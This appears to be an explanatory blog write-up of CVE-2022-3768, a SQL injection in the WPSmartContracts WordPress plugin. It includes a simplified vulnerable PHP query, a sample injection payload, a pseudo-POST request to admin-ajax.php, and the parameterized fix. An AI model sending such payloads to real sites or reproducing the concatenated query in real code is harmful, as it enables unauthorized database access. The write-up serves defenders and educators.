CVE-2022-3768 is a serious security vulnerability found in the popular WordPress plugin WPSmartContracts (versions before 1.3.12). This issue allows users, even with the low-level “Author” role, to exploit a dangerous SQL injection bug. In this article, we’ll break down what happened, see some vulnerable code, walk through a sample exploit, and explain how to stay protected.
What Is WPSmartContracts?
WPSmartContracts is a plugin that helps WordPress users deploy and manage Ethereum smart contracts from the WordPress dashboard. It's quite popular with DeFi and NFT enthusiasts who want to use blockchain technology with WordPress.
The Vulnerability: Unfiltered SQL
In WPSmartContracts versions below 1.3.12, there is a vulnerable code path where user-supplied data is inserted directly into a SQL statement without proper sanitization or escaping. This creates a classic SQL Injection window — an attacker can manipulate the database using malicious input.
Where’s the Problem?
The issue lies in the way certain parameters are handled before they end up in queries, especially those submitted by authors. The plugin fails to use prepare() or proper escaping (like esc_sql()) for user input.
Example Vulnerable Code
// This is a simplified snippet to illustrate the root cause
$contract_id = $_POST['contract_id']; // comes from a form/input
// Vulnerable query - direct concatenation!
$query = "SELECT * FROM {$wpdb->prefix}wpsmartcontracts WHERE contract_id = '$contract_id'";
$results = $wpdb->get_results($query);
If contract_id is sent as something malicious (say: ' OR 1=1 --), the entire query logic can be broken.
Who Can Attack?
Anyone with at least an Author account on the target WordPress site can start abusing this bug.
Example Exploit Payload
Suppose the site allows Authors to register and upload smart contracts using the plugin. An attacker submits the following value in the vulnerable parameter:
1' OR 1=1 --
This alters the SQL query to
SELECT * FROM wp_wpsmartcontracts WHERE contract_id = '1' OR 1=1 -- '
Result: The query returns ALL smart contract entries, not just the one matching a real contract_id. With further tweaks, an attacker could leak other sensitive data or even write/modify values depending on the query being manipulated.
Here’s a pseudo-POST request an attacker might use via a proxy tool like Burp Suite or POSTMAN
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Cookie: (authenticated author session)
Content-Type: application/x-www-form-urlencoded
action=wpsmartcontracts_action&contract_id=1' OR 1=1 --
The attacker would then observe in the response that all smart contracts (not just one) are returned.
References
- CVE Details: CVE-2022-3768
- Wordfence Advisory
- Patch Release: WPSmartContracts v1.3.12
Least Privilege: Don’t give users more permissions than necessary.
- Security Plugins: Use tools like Wordfence to help block known attacks.
The official fix uses parameterized queries. Here’s a safe version
$contract_id = $_POST['contract_id'];
// Safe query
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpsmartcontracts WHERE contract_id = %s", $contract_id);
$results = $wpdb->get_results($query);
Conclusion
CVE-2022-3768 shows how even plugins meant to increase your site's power — like WPSmartContracts — can open the door to big risks if user input isn’t handled right. This CVE highlights the importance of updating plugins and staying aware of the latest vulnerabilities.
Always update your plugins, sanitize user data, and remember: just because a user has a low-level WordPress role, doesn’t mean they can’t be a threat!
Stay safe, smart, and up-to-date.
If you think your site was at risk, update right away and check for unwanted content in your database.
*This article is an exclusive, easy-to-follow technical breakdown intended for WordPress admins and security enthusiasts. For questions or further details, check out the references above or contact the plugin authors directly.*
Timeline
Published on: 11/28/2022 14:15:00 UTC
Last modified on: 12/02/2022 19:47:00 UTC